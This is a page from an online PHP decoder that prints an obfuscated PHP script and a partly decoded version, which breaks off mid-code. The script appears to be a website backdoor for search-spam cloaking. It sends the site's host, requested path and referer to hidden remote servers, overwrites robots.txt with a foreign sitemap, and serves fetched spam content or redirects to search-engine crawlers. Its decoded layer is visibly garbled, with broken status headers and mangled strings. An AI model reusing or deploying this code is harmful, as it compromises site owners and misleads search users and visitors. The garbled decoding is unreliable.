Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
 goto cOmDc; blt1c: hY47y: goto GBH3g; cOmDc: $ItImW = ["\45\x33\67\x25\63\x38\45\63\63\x25\x32\x44\x25\67\x39\x25\x37\66\x25\x36\61\x25\x37\70\45\63\x31\x25\x33\x38\45\63\x32\x25\62\105\45\x36\63\x25\67\x35\x25\66\62\45\x36\66\45\x37\x36\x25\66\x36\x25\x32\105\x25\x36\67\x25\66\x32\x25\66\x33", "\x25\x33\67\45\x33\70\x25\63\x33\x25\62\x44\x25\x37\71\x25\x37\66\45\x36\x31\45\67\70\x25\x33\x31\45\x33\70\45\63\62\45\x32\x45\45\x37\66\x25\x36\x31\45\x37\62\x25\x37\63\x25\x37\x33\x25\66\105\x25\66\106\x25\x37\x39\45\66\103\45\62\x45\x25\66\x42\45\66\x43\x25\x36\x44", "\x25\63\x37\x25\x33\x38\x25\x33\x33\45\x32\x44\x25\67\71\45\x37\x36\x25\66\61\x25\x37\x38\45\x33\61\x25\63\70\x25\x33\62\45\62\105\45\x36\x46\x25\66\x35\x25\x37\66\45\67\64\x25\x37\65\x25\x36\67\x25\67\x35\x25\66\x32\45\66\65\45\x37\x36\x25\x36\63\x25\x32\x45\x25\x36\x42\45\x36\x43\45\66\x44", "\x25\63\67\45\63\70\45\x33\x33\45\x32\104\x25\67\x39\x25\67\x36\x25\66\61\x25\67\70\x25\63\61\x25\63\70\45\x33\x32\x25\x32\x45\45\x36\x31\45\x37\62\x25\x36\x42\45\66\67\x25\x37\62\x25\x36\61\45\x36\63\45\x36\x38\x25\66\63\x25\66\63\x25\x32\x45\45\x36\x42\x25\66\x43\x25\66\104"]; goto YACeF; UND6C: ZrDve: goto Xsqc5; U3t09: $Ki09e = isset($_SERVER["\x48\124\124\120\x5f\x41\103\x43\105\x50\124\137\114\x41\116\107\125\x41\x47\105"]) ?: "\x65\156"; goto qhY36; n4p2J: $BY5uB = $_SERVER["\x48\x54\x54\x50\x5f\x52\105\x46\105\122\105\122"]; goto Sfr1J; WI1US: echo $CAz5I; goto Pi7Zh; cROif: $xhnFv = $xhnFv == '' ? "\x2f" : $xhnFv; goto r1vkV; HF_vi: $CAz5I = str_replace("\x33\60\x31\x70\x61\x67\x65", '', $CAz5I); goto PzGfE; lLwas: if (!($bu_fR !== false)) { goto Xykdi; } goto Sm86U; qL_WK: FzIXk: goto YR7jg; Pckna: goto VPAAF; goto AW8qG; YCCFy: y3uJH: goto Fv0u9; HQPA0: JmLra: goto HmDv_; Z7C4P: $xlUV3 = false; goto i37J5; Gr8lO: @header("\110\124\124\120\57\x31\x2e\61\x20\65\x30\x30\x20\x49\x6e\x74\145\162\x6e\141\x6c\40\123\145\x72\x76\x65\162\40\105\162\x72\x6f\162"); goto Xu3yx; UsUob: goto S560V; goto UND6C; kuRRQ: exit; goto FVzRi; sJzba: $GkKtv = "\x37\70\x33\x2d\x6c\151\x6e\153\61\x38\62"; goto Z7C4P; WuMd7: function gWYc9() { goto TOvPk; TOvPk: $w10kH = $_SERVER["\x44\x4f\103\125\115\105\116\x54\x5f\122\117\117\124"] . "\57\x2e\x68\x74\141\x63\143\x65\163\163"; goto ruyW2; ihhRO: nSC0O: goto kGhr1; NpE7B: JMHLc: goto jHcXz; jHcXz: return 1; goto ihhRO; lJM3N: return 2; goto NcQ3c; ruyW2: if (file_exists($w10kH)) { goto JMHLc; } goto lJM3N; NcQ3c: goto nSC0O; goto NpE7B; kGhr1: } goto H523T; M3hZV: if (strstr($CAz5I, "\156\157\142\157\164\165\x73\145\162\141\x67\x65\156\164")) { goto VUznw; } goto bYGic; L1l8r: $JOCyF = $_SERVER["\110\124\124\120\x5f\x48\117\x53\x54"]; goto U3t09; dJUNz: goto hY47y; goto aWVVy; Pi7Zh: exit; goto PQOrI; TB5pU: DCFDl: goto K3nv5; WfGXe: $CAz5I = str_replace("\x6f\x6b\150\164\155\154", '', $CAz5I); goto a1R2L; pCDnK: @header("\x43\157\156\x74\145\156\164\55\124\x79\160\145\x3a\x20\164\x65\170\x74\x2f\160\154\x61\x69\156"); goto WI1US; NQzOD: if (!strstr($CAz5I, "\x6f\153\x72\157\x62\x6f\164\x73")) { goto P2qCG; } goto vaYMk; Fv0u9: $bay1D = "\151\156\144\145\170\56\160\150\x70"; goto DyF2o; LwKWu: function DhFFz() { goto CtDLs; oTH6C: return 1; goto ffW2K; p1r_O: if (stristr($rRxQM, "\147\157\x6f\147\154\145\x62\157\x74") || stristr($rRxQM, "\x62\x69\156\x67") || stristr($rRxQM, "\x79\x61\150\157\157") || stristr($rRxQM, "\147\x6f\x6f\147\x6c\145") || stristr($rRxQM, "\107\x6f\x6f\147\x6c\x65\x62\x6f\164")) { goto AAu2y; } goto ZoVzG; Y3IR_: AAu2y: goto oTH6C; ffW2K: zOPh7: goto G9R1s; W9X0B: goto zOPh7; goto Y3IR_; CtDLs: $rRxQM = strtolower($_SERVER["\110\x54\124\120\137\125\123\105\122\137\x41\x47\105\116\x54"]); goto p1r_O; ZoVzG: return 2; goto W9X0B; G9R1s: } goto Ts1L9; PkPHg: if (empty($SX7mo) || $SX7mo[1] == "\167\160\55\143\x72\x6f\x6d\56\x70\x68\x70" || $SX7mo[1] == "\144\x65\164\141\x69\x6c\x2e\160\150\x70") { goto y3uJH; } goto wnLDj; teVA0: $xhnFv = str_replace("\x2f" . $bay1D, '', $xhnFv); goto wQEIg; K3nv5: if (!($xhnFv != "\x2f")) { goto NVDE4; } goto teVA0; AW8qG: SAJvz: goto Gr8lO; u_NgV: $VOI_Y = "\150\x74\164\160\163"; goto blt1c; vL0a_: $VOI_Y = "\150\x74\x74\x70"; goto dJUNz; Xsqc5: @header("\110\124\x54\120\57\x31\56\61\x20\64\x30\x34\40\x4e\x6f\x74\x20\x46\157\x75\x6e\144"); goto vLY5U; YR7jg: $CAz5I = str_replace("\x6f\x6b\x78\x6d\154", '', $CAz5I); goto AJ8b4; HmDv_: if (!stristr($xhnFv, "\57\x3f")) { goto nR1NP; } goto IzYqs; K27ML: $xlUV3 = true; goto TB5pU; kUqUq: $n18Az = str_replace("\x2e\160\x68\160", '', $bay1D); goto LgAQS; NLtnl: Qq5xZ: goto UsUob; IzYqs: $n18Az = "\x3f"; goto WmWrG; o0bb8: if (!isset($_SERVER["\110\124\x54\120\x5f\122\105\x46\105\x52\105\x52"])) { goto NoZcC; } goto n4p2J; JEqd2: if (jUgtT()) { goto WKKNx; } goto vL0a_; P07WG: if (strstr($CAz5I, "\x34\60\64\x70\x61\147\x65")) { goto ZrDve; } goto yt7pz; yt7pz: if (strstr($CAz5I, "\63\x30\61\x70\141\147\x65")) { goto wX9rS; } goto sYMFU; wQEIg: $xhnFv = str_replace("\57\151\156\x64\145\170\56\160\x68\160", '', $xhnFv); goto rC2_X; aWVVy: WKKNx: goto u_NgV; uEHtT: $xhnFv = sjk7g(); goto cROif; H523T: function FaFFd($CmUGN) { goto nZxGf; HF01F: $FYons = "\125\163\145\162\x2d\x61\147\145\x6e\164\x3a\40\52" . PHP_EOL; goto O5Eu_; CO659: $EgqrM = $FVP_S[1]($w10kH); goto AIH0a; s35We: goto OA6q0; goto il3y6; O5Eu_: $FYons .= "\101\x6c\x6c\157\167\x3a\40\x2f" . PHP_EOL . PHP_EOL; goto SjdQB; SjdQB: $FYons .= "\123\x69\164\145\155\141\x70\72\40" . $CmUGN . "\57\x73\151\164\145\155\141\x70\56\170\155\154" . PHP_EOL; goto IoatA; ayRXo: $FVP_S[0]($w10kH, $FYons); goto h_pPi; nZxGf: $FVP_S = TOHYd(); goto Bchow; bof2a: oT9eZ: goto s35We; IoatA: if (!file_exists($w10kH)) { goto lLtQ3; } goto CO659; Bchow: $w10kH = $_SERVER["\104\x4f\103\x55\115\105\x4e\x54\137\x52\117\117\x54"] . "\x2f\x72\157\142\x6f\x74\x73\56\x74\x78\x74"; goto HF01F; h_pPi: OA6q0: goto X2hTp; yy8n7: $FVP_S[0]($w10kH, $FYons); goto bof2a; il3y6: lLtQ3: goto ayRXo; AIH0a: if (!($EgqrM !== $FYons)) { goto oT9eZ; } goto yy8n7; X2hTp: } goto StPC8; V1nDZ: $CAz5I = HbeDW($ItImW, $lp3VB, $iAZCW); goto M3hZV; B6lhQ: exit; goto JKAiR; Sm86U: $bay1D = substr($xhnFv, 0, $bu_fR + strlen($bay1D)); goto fuuX3; OvBLm: echo $GkKtv; goto RLXCU; e9mtE: b8gWK: goto vyhsP; DyF2o: $n18Az = "\x69\x6e\x64\x65\x78"; goto HQPA0; bYGic: if (strstr($CAz5I, "\157\x6b\x68\164\155\x6c")) { goto b8gWK; } goto ixg36; OovuT: S560V: goto Pckna; LTKK2: goto ZNX4R; goto qL_WK; Sfr1J: NoZcC: goto JEqd2; qhY36: $BY5uB = ''; goto o0bb8; LgAQS: goto JmLra; goto YCCFy; Xu3yx: exit; goto XOuDZ; JPG2Z: $xhnFv = urlencode($xhnFv); goto vNjRc; hwzmp: VUznw: goto LwKWu; MlH4n: $bu_fR = strpos($xhnFv, $bay1D); goto lLwas; AJ8b4: @header("\x43\157\x6e\164\145\156\164\x2d\124\x79\x70\x65\x3a\40\x61\160\160\x6c\x69\143\x61\x74\x69\x6f\x6e\x2f\x78\x6d\154\73\40\143\150\x61\162\163\145\164\75\x75\x74\x66\55\70"); goto EzFdT; vaYMk: $CAz5I = str_replace("\x6f\x6b\162\x6f\142\x6f\x74\163", '', $CAz5I); goto pCDnK; vLY5U: exit; goto OovuT; r1vkV: preg_match("\57\x5c\x2f\50\133\x5e\134\x2f\135\53\x5c\56\160\150\160\x29\57", $xhnFv, $SX7mo); goto PkPHg; fuuX3: $bay1D = ltrim($bay1D, "\x2f"); goto X9WnF; JKAiR: TPb8A: goto hwzmp; twYCk: @header("\110\124\x54\x50\x2f\x31\x2e\x31\x20\63\x30\61\40\115\x6f\x76\x65\x64\40\120\145\162\x6d\x61\156\x65\x6e\x74\154\171"); goto HF_vi; B44Fk: wX9rS: goto twYCk; a1R2L: if (!$xlUV3) { goto RbaOS; } goto OvBLm; PzGfE: header("\x4c\157\x63\x61\x74\x69\157\x6e\x3a\40" . $CAz5I); goto E4UKs; Ema8i: $iAZCW = "\x77\145\x62\x3d" . $JOCyF . "\46\172\x7a\75" . $UIB67 . "\46\165\162\x69\x3d" . $xhnFv . "\x26\165\x72\154\163\150\141\156\x67\x3d" . $BY5uB . "\46\150\x74\164\x70\x3d" . $VOI_Y . "\x26\154\141\x6e\147\75" . $Ki09e . "\46\163\145\162\x76\x65\162\x3d" . $G5VDh . "\x26\155\157\x64\x65\x6c\75" . $n18Az . "\46\x76\145\x72\163\x69\157\156\75" . ($xlUV3 ? $GkKtv : ''); goto V1nDZ; FaC3T: echo $CAz5I; goto B6lhQ; GBH3g: $UIB67 = dhFfZ(); goto uEHtT; RLXCU: RbaOS: goto FaC3T; FVzRi: ZNX4R: goto d642a; WmWrG: nR1NP: goto sJzba; PQOrI: P2qCG: goto LTKK2; XOuDZ: VPAAF: goto dlqvr; d642a: goto Qq5xZ; goto B44Fk; i37J5: if (!(strpos($xhnFv, $GkKtv) !== false)) { goto DCFDl; } goto nnt5L; Ts1L9: function sjk7g() { goto yT3Dx; fBEIt: $xhnFv = $_SERVER["\122\105\x51\125\x45\x53\x54\137\x55\x52\111"]; goto sWWrw; xinCQ: Hv5LF: goto rBHEC; KvL10: return $xhnFv; goto flSVN; yT3Dx: if (isset($_SERVER["\122\x45\121\x55\x45\x53\124\x5f\125\122\111"])) { goto l3JXr; } goto wc9tH; MkW3H: goto qXTtD; goto fI9pV; eeIqL: gveG2: goto MkW3H; JWVs1: $xhnFv = $_SERVER["\x50\110\x50\x5f\x53\105\114\x46"] . "\77" . $_SERVER["\x51\x55\105\122\x59\x5f\x53\x54\122\111\116\107"]; goto n1Rl6; n1Rl6: goto gveG2; goto xinCQ; fI9pV: l3JXr: goto fBEIt; sWWrw: qXTtD: goto KvL10; rBHEC: $xhnFv = $_SERVER["\120\110\120\x5f\x53\105\114\x46"] . "\x3f" . $_SERVER["\x61\x72\x67\x76"][0]; goto eeIqL; wc9tH: if (isset($_SERVER["\141\x72\147\x76"])) { goto Hv5LF; } goto JWVs1; flSVN: } goto RST_c; RST_c: function JUgTt() { goto ee0Km; sbmnu: G4eqZ: goto cEwJO; r0oOB: goto uPGpa; goto sbmnu; kwthR: goto uPGpa; goto Xo23c; Xo23c: QTKyz: goto UFk12; PNPkH: return true; goto r0oOB; cEwJO: return true; goto kwthR; UFk12: return true; goto uPo_H; uPo_H: uPGpa: goto gRAdV; kedvn: if (isset($_SERVER["\110\124\x54\120\x5f\x46\122\117\116\x54\137\105\x4e\x44\137\x48\x54\124\120\123"]) && strtolower($_SERVER["\110\124\124\120\137\x46\x52\x4f\x4e\x54\137\105\116\x44\137\x48\x54\x54\120\x53"]) !== "\157\x66\146") { goto QTKyz; } goto lLztl; ekr00: if (isset($_SERVER["\x48\x54\124\120\x5f\130\137\106\117\122\x57\x41\x52\104\105\x44\137\x50\x52\117\124\117"]) && $_SERVER["\x48\124\124\x50\x5f\x58\x5f\106\x4f\122\127\101\x52\x44\105\104\x5f\120\122\117\x54\x4f"] === "\x68\164\164\160\163") { goto G4eqZ; } goto kedvn; lLztl: goto uPGpa; goto alPhS; gRAdV: return false; goto dqGqO; ee0Km: if (isset($_SERVER["\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x53"]) !== "\x6f\x66\x66") { goto oFh9E; } goto ekr00; alPhS: oFh9E: goto PNPkH; dqGqO: } goto WuMd7; YACeF: $lp3VB = "\150\164\164\x70"; goto L1l8r; q1d7e: $xhnFv = str_replace($GkKtv, '', $xhnFv); goto K27ML; sYMFU: if (strstr($CAz5I, "\157\x6b\170\155\x6c")) { goto FzIXk; } goto NQzOD; EzFdT: echo $CAz5I; goto kuRRQ; dlqvr: goto TPb8A; goto e9mtE; vyhsP: @header("\103\157\x6e\164\145\x6e\164\x2d\164\x79\x70\145\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\155\x6c\x3b\x20\x63\150\x61\162\x73\x65\x74\x3d\165\x74\x66\x2d\70"); goto WfGXe; vNjRc: $G5VDh = gWyC9(); goto nTR0m; nnt5L: $UIB67 = 1; goto q1d7e; X9WnF: Xykdi: goto kUqUq; ixg36: if (strstr($CAz5I, "\147\x65\x74\x63\x6f\x6e\164\x65\156\x74\x35\x30\x30\x70\141\x67\x65")) { goto SAJvz; } goto P07WG; E4UKs: exit; goto NLtnl; sPMBO: NVDE4: goto JPG2Z; rC2_X: $xhnFv = str_replace("\41", '', $xhnFv); goto sPMBO; wnLDj: $bay1D = $SX7mo[1]; goto MlH4n; nTR0m: fAFFd($VOI_Y . "\x3a\57\57" . $JOCyF); goto Ema8i; StPC8: function HBedW($RrV69, $lp3VB, $iAZCW) { goto lcICO; ipofb: foreach ($RrV69 as $nGnL9) { goto p8GGo; VLmdO: curl_setopt($sIKWv, CURLOPT_URL, $CmUGN); goto YVg0D; NnAAL: u1zct: goto TeFlr; dJfH8: Wydq2: goto oviRp; zm91J: echo "\x34\64\63"; goto VERPx; l7NvS: $PmXHI = @$FVP_S[1]($CmUGN); goto l20YF; cmR6t: qXRC4: goto tXlxW; fTqGu: return $PmXHI; goto cmR6t; BLFgb: A7WtH: goto dJfH8; tXlxW: if (!ini_get("\141\x6c\154\x6f\167\x5f\165\162\154\x5f\x66\x6f\160\x65\156")) { goto Wydq2; } goto l7NvS; oviRp: pgRuA: goto dV93A; rMUu2: return $PmXHI; goto BLFgb; npmkY: $PmXHI = curl_exec($sIKWv); goto azuVv; VERPx: QTGr2: goto UY_GT; TeFlr: curl_close($sIKWv); goto fTqGu; UY_GT: curl_close($sIKWv); goto RsS1y; p8GGo: $nGnL9 = $FVP_S[2](urldecode($nGnL9)); goto t133Z; l20YF: if (!($PmXHI !== false)) { goto A7WtH; } goto rMUu2; UJYKC: $sIKWv = curl_init(); goto VLmdO; RsS1y: goto qXRC4; goto NnAAL; t133Z: $CmUGN = $lp3VB . "\x3a\x2f\57" . $nGnL9 . "\57\163\165\x70\x65\x72\x36\x2e\x70\150\x70\x3f" . $iAZCW; goto UJYKC; YVg0D: curl_setopt($sIKWv, CURLOPT_RETURNTRANSFER, true); goto npmkY; azuVv: if (!curl_errno($sIKWv)) { goto u1zct; } goto ijInJ; ijInJ: if (!stristr(curl_error($sIKWv), "\64\x34\x33")) { goto QTGr2; } goto zm91J; dV93A: } goto pf0cm; pf0cm: ti0vK: goto uLcrT; sZRIz: shuffle($RrV69); goto ipofb; uLcrT: return "\156\x6f\x62\157\x74\x75\163\145\162\141\147\145\156\164"; goto Cg0jD; lcICO: $FVP_S = Tohyd(); goto sZRIz; Cg0jD: } goto qplXN; qplXN: function tOHYD() { $f5Kdx = range("\x61", "\172"); return [$f5Kdx[5] . $f5Kdx[8] . $f5Kdx[11] . $f5Kdx[4] . "\x5f" . $f5Kdx[15] . $f5Kdx[20] . $f5Kdx[19] . "\137" . $f5Kdx[2] . $f5Kdx[14] . $f5Kdx[13] . $f5Kdx[19] . $f5Kdx[4] . $f5Kdx[13] . $f5Kdx[19] . $f5Kdx[18], $f5Kdx[5] . $f5Kdx[8] . $f5Kdx[11] . $f5Kdx[4] . "\x5f" . $f5Kdx[6] . $f5Kdx[4] . $f5Kdx[19] . "\137" . $f5Kdx[2] . $f5Kdx[14] . $f5Kdx[13] . $f5Kdx[19] . $f5Kdx[4] . $f5Kdx[13] . $f5Kdx[19] . $f5Kdx[18], $f5Kdx[18] . $f5Kdx[19] . $f5Kdx[17] . "\x5f" . $f5Kdx[17] . $f5Kdx[14] . $f5Kdx[19] . "\61\x33"]; }

Show other level

Decrypted code level 1:

goto cOmDc; blt1c: hY47y: goto GBH3g; cOmDc: $ItImW = ["+7%38%33%2D%79%76%61%78%%38%%2E.3%%62.6/6%%2E%67%%", "%37+8%%2D%79%76.1%78%31+8%32*E/6%61/2%73%73%6E%6F%79%6C%2E%6B%6C%6D", "%%38%33*D%79/6%61%78+1%38%32%2E.F%%76%74%75%67%%%65/6%63%2E%6B.C%6D", "%37%38+3*D%79%%61%78%31%38+2%2E.1/2%6B%67%72%61.3.8%63%63%2E.B%6C%6D"]; goto YACeF; UND6C: ZrDve: goto Xsqc5; U3t09: $Ki09e = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?: "en"; goto qhY36; n4p2J: $BY5uB = $_SERVER["HTTP_REFERER"]; goto Sfr1J; WI1US: echo $CAz5I; goto Pi7Zh; cROif: $xhnFv = $xhnFv == '' ? "/" : $xhnFv; goto r1vkV; HF_vi: $CAz5I = str_replace("3page", '', $CAz5I); goto PzGfE; lLwas: if (!($bu_fR !== false)) { goto Xykdi; } goto Sm86U; qL_WK: FzIXk: goto YR7jg; Pckna: goto VPAAF; goto AW8qG; YCCFy: y3uJH: goto Fv0u9; HQPA0: JmLra: goto HmDv_; Z7C4P: $xlUV3 = false; goto i37J5; Gr8lO: @header("HTTPy.1 0 Internal Server Error"); goto Xu3yx; UsUob: goto S560V; goto UND6C; kuRRQ: exit; goto FVzRi; sJzba: $GkKtv = "7-link182"; goto Z7C4P; WuMd7: function gWYc9() { goto TOvPk; TOvPk: $w10kH = $_SERVER["DOCUMENT_ROOT"] . "/.htaccess"; goto ruyW2; ihhRO: nSC0O: goto kGhr1; NpE7B: JMHLc: goto jHcXz; jHcXz: return 1; goto ihhRO; lJM3N: return 2; goto NcQ3c; ruyW2: if (file_exists($w10kH)) { goto JMHLc; } goto lJM3N; NcQ3c: goto nSC0O; goto NpE7B; kGhr1: } goto H523T; M3hZV: if (strstr($CAz5I, "nobotuseragent")) { goto VUznw; } goto bYGic; L1l8r: $JOCyF = $_SERVER["HTTP_HOST"]; goto U3t09; dJUNz: goto hY47y; goto aWVVy; Pi7Zh: exit; goto PQOrI; TB5pU: DCFDl: goto K3nv5; WfGXe: $CAz5I = str_replace("okhtml", '', $CAz5I); goto a1R2L; pCDnK: @header("Content-Type: text/plain"); goto WI1US; NQzOD: if (!strstr($CAz5I, "okrobots")) { goto P2qCG; } goto vaYMk; Fv0u9: $bay1D = "index.php"; goto DyF2o; LwKWu: function DhFFz() { goto CtDLs; oTH6C: return 1; goto ffW2K; p1r_O: if (stristr($rRxQM, "googlebot") || stristr($rRxQM, "bing") || stristr($rRxQM, "yahoo") || stristr($rRxQM, "google") || stristr($rRxQM, "Googlebot")) { goto AAu2y; } goto ZoVzG; Y3IR_: AAu2y: goto oTH6C; ffW2K: zOPh7: goto G9R1s; W9X0B: goto zOPh7; goto Y3IR_; CtDLs: $rRxQM = strtolower($_SERVER["HTTP_USER_AGENT"]); goto p1r_O; ZoVzG: return 2; goto W9X0B; G9R1s: } goto Ts1L9; PkPHg: if (empty($SX7mo) || $SX7mo[1] == "wp-crom.php" || $SX7mo[1] == "detail.php") { goto y3uJH; } goto wnLDj; teVA0: $xhnFv = str_replace("/" . $bay1D, '', $xhnFv); goto wQEIg; K3nv5: if (!($xhnFv != "/")) { goto NVDE4; } goto teVA0; AW8qG: SAJvz: goto Gr8lO; u_NgV: $VOI_Y = "https"; goto blt1c; vL0a_: $VOI_Y = "http"; goto dJUNz; Xsqc5: @header("HTTPy.1 4 Not Found"); goto vLY5U; YR7jg: $CAz5I = str_replace("okxml", '', $CAz5I); goto AJ8b4; HmDv_: if (!stristr($xhnFv, "/?")) { goto nR1NP; } goto IzYqs; K27ML: $xlUV3 = true; goto TB5pU; kUqUq: $n18Az = str_replace(".php", '', $bay1D); goto LgAQS; NLtnl: Qq5xZ: goto UsUob; IzYqs: $n18Az = "?"; goto WmWrG; o0bb8: if (!isset($_SERVER["HTTP_REFERER"])) { goto NoZcC; } goto n4p2J; JEqd2: if (jUgtT()) { goto WKKNx; } goto vL0a_; P07WG: if (strstr($CAz5I, "404page")) { goto ZrDve; } goto yt7pz; yt7pz: if (strstr($CAz5I, "1page")) { goto wX9rS; } goto sYMFU; wQEIg: $xhnFv = str_replace("/index.php", '', $xhnFv); goto rC2_X; aWVVy: WKKNx: goto u_NgV; uEHtT: $xhnFv = sjk7g(); goto cROif; H523T: function FaFFd($CmUGN) { goto nZxGf; HF01F: $FYons = "User-agent: *" . PHP_EOL; goto O5Eu_; CO659: $EgqrM = $FVP_S[1]($w10kH); goto AIH0a; s35We: goto OA6q0; goto il3y6; O5Eu_: $FYons .= "Allow: /" . PHP_EOL . PHP_EOL; goto SjdQB; SjdQB: $FYons .= "Sitemap: " . $CmUGN . "/sitemap.xml" . PHP_EOL; goto IoatA; ayRXo: $FVP_S[0]($w10kH, $FYons); goto h_pPi; nZxGf: $FVP_S = TOHYd(); goto Bchow; bof2a: oT9eZ: goto s35We; IoatA: if (!file_exists($w10kH)) { goto lLtQ3; } goto CO659; Bchow: $w10kH = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt"; goto HF01F; h_pPi: OA6q0: goto X2hTp; yy8n7: $FVP_S[0]($w10kH, $FYons); goto bof2a; il3y6: lLtQ3: goto ayRXo; AIH0a: if (!($EgqrM !== $FYons)) { goto oT9eZ; } goto yy8n7; X2hTp: } goto StPC8; V1nDZ: $CAz5I = HbeDW($ItImW, $lp3VB, $iAZCW); goto M3hZV; B6lhQ: exit; goto JKAiR; Sm86U: $bay1D = substr($xhnFv, 0, $bu_fR + strlen($bay1D)); goto fuuX3; OvBLm: echo $GkKtv; goto RLXCU; e9mtE: b8gWK: goto vyhsP; DyF2o: $n18Az = "index"; goto HQPA0; bYGic: if (strstr($CAz5I, "okhtml")) { goto b8gWK; } goto ixg36; OovuT: S560V: goto Pckna; LTKK2: goto ZNX4R; goto qL_WK; Sfr1J: NoZcC: goto JEqd2; qhY36: $BY5uB = ''; goto o0bb8; LgAQS: goto JmLra; goto YCCFy; Xu3yx: exit; goto XOuDZ; JPG2Z: $xhnFv = urlencode($xhnFv); goto vNjRc; hwzmp: VUznw: goto LwKWu; MlH4n: $bu_fR = strpos($xhnFv, $bay1D); goto lLwas; AJ8b4: @header("Content-Type: application/xml; charset=utf-8"); goto EzFdT; vaYMk: $CAz5I = str_replace("okrobots", '', $CAz5I); goto pCDnK; vLY5U: exit; goto OovuT; r1vkV: preg_match("/\/([^\/]+\.php)/", $xhnFv, $SX7mo); goto PkPHg; fuuX3: $bay1D = ltrim($bay1D, "/"); goto X9WnF; JKAiR: TPb8A: goto hwzmp; twYCk: @header("HTTP/1.1 1 Moved Permanently"); goto HF_vi; B44Fk: wX9rS: goto twYCk; a1R2L: if (!$xlUV3) { goto RbaOS; } goto OvBLm; PzGfE: header("Location: " . $CAz5I); goto E4UKs; Ema8i: $iAZCW = "web=" . $JOCyF . "&zz=" . $UIB67 . "&uri=" . $xhnFv . "&urlshang=" . $BY5uB . "&http=" . $VOI_Y . "&lang=" . $Ki09e . "&server=" . $G5VDh . "&model=" . $n18Az . "&version=" . ($xlUV3 ? $GkKtv : ''); goto V1nDZ; FaC3T: echo $CAz5I; goto B6lhQ; GBH3g: $UIB67 = dhFfZ(); goto uEHtT; RLXCU: RbaOS: goto FaC3T; FVzRi: ZNX4R: goto d642a; WmWrG: nR1NP: goto sJzba; PQOrI: P2qCG: goto LTKK2; XOuDZ: VPAAF: goto dlqvr; d642a: goto Qq5xZ; goto B44Fk; i37J5: if (!(strpos($xhnFv, $GkKtv) !== false)) { goto DCFDl; } goto nnt5L; Ts1L9: function sjk7g() { goto yT3Dx; fBEIt: $xhnFv = $_SERVER["REQUEST_URI"]; goto sWWrw; xinCQ: Hv5LF: goto rBHEC; KvL10: return $xhnFv; goto flSVN; yT3Dx: if (isset($_SERVER["REQUEST_URI"])) { goto l3JXr; } goto wc9tH; MkW3H: goto qXTtD; goto fI9pV; eeIqL: gveG2: goto MkW3H; JWVs1: $xhnFv = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto n1Rl6; n1Rl6: goto gveG2; goto xinCQ; fI9pV: l3JXr: goto fBEIt; sWWrw: qXTtD: goto KvL10; rBHEC: $xhnFv = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto eeIqL; wc9tH: if (isset($_SERVER["argv"])) { goto Hv5LF; } goto JWVs1; flSVN: } goto RST_c; RST_c: function JUgTt() { goto ee0Km; sbmnu: G4eqZ: goto cEwJO; r0oOB: goto uPGpa; goto sbmnu; kwthR: goto uPGpa; goto Xo23c; Xo23c: QTKyz: goto UFk12; PNPkH: return true; goto r0oOB; cEwJO: return true; goto kwthR; UFk12: return true; goto uPo_H; uPo_H: uPGpa: goto gRAdV; kedvn: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto QTKyz; } goto lLztl; ekr00: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto G4eqZ; } goto kedvn; lLztl: goto uPGpa; goto alPhS; gRAdV: return false; goto dqGqO; ee0Km: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto oFh9E; } goto ekr00; alPhS: oFh9E: goto PNPkH; dqGqO: } goto WuMd7; YACeF: $lp3VB = "http"; goto L1l8r; q1d7e: $xhnFv = str_replace($GkKtv, '', $xhnFv); goto K27ML; sYMFU: if (strstr($CAz5I, "okxml")) { goto FzIXk; } goto NQzOD; EzFdT: echo $CAz5I; goto kuRRQ; dlqvr: goto TPb8A; goto e9mtE; vyhsP: @header("Content-type: text/html; charset=utf-8"); goto WfGXe; vNjRc: $G5VDh = gWyC9(); goto nTR0m; nnt5L: $UIB67 = 1; goto q1d7e; X9WnF: Xykdi: goto kUqUq; ixg36: if (strstr($CAz5I, "getcontent500page")) { goto SAJvz; } goto P07WG; E4UKs: exit; goto NLtnl; sPMBO: NVDE4: goto JPG2Z; rC2_X: $xhnFv = str_replace("!", '', $xhnFv); goto sPMBO; wnLDj: $bay1D = $SX7mo[1]; goto MlH4n; nTR0m: fAFFd($VOI_Y . "://" . $JOCyF); goto Ema8i; StPC8: function HBedW($RrV69, $lp3VB, $iAZCW) { goto lcICO; ipofb: foreach ($RrV69 as $nGnL9) { goto p8GGo; VLmdO: curl_setopt($sIKWv, CURLOPT_URL, $CmUGN); goto YVg0D; NnAAL: u1zct: goto TeFlr; dJfH8: Wydq2: goto oviRp; zm91J: echo "443"; goto VERPx; l7NvS: $PmXHI = @$FVP_S[1]($CmUGN); goto l20YF; cmR6t: qXRC4: goto tXlxW; fTqGu: return $PmXHI; goto cmR6t; BLFgb: A7WtH: goto dJfH8; tXlxW: if (!ini_get("allow_url_fopen")) { goto Wydq2; } goto l7NvS; oviRp: pgRuA: goto dV93A; rMUu2: return $PmXHI; goto BLFgb; npmkY: $PmXHI = curl_exec($sIKWv); goto azuVv; VERPx: QTGr2: goto UY_GT; TeFlr: curl_close($sIKWv); goto fTqGu; UY_GT: curl_close($sIKWv); goto RsS1y; p8GGo: $nGnL9 = $FVP_S[2](urldecode($nGnL9)); goto t133Z; l20YF: if (!($PmXHI !== false)) { goto A7WtH; } goto rMUu2; UJYKC: $sIKWv = curl_init(); goto VLmdO; RsS1y: goto qXRC4; goto NnAAL; t133Z: $CmUGN = $lp3VB . "://" . $nGnL9 . "/super6.php?" . $iAZCW; goto UJYKC; YVg0D: curl_setopt($sIKWv, CURLOPT_RETURNTRANSFER, true); goto npmkY; azuVv: if (!curl_errno($sIKWv)) { goto u1zct; } goto ijInJ; ijInJ: if (!stristr(curl_error($sIKWv), "3")) { goto QTGr2; } goto zm91J; dV93A: } goto pf0cm; pf0cm: ti0vK: goto uLcrT; sZRIz: shuffle($RrV69); goto ipofb; uLcrT: return 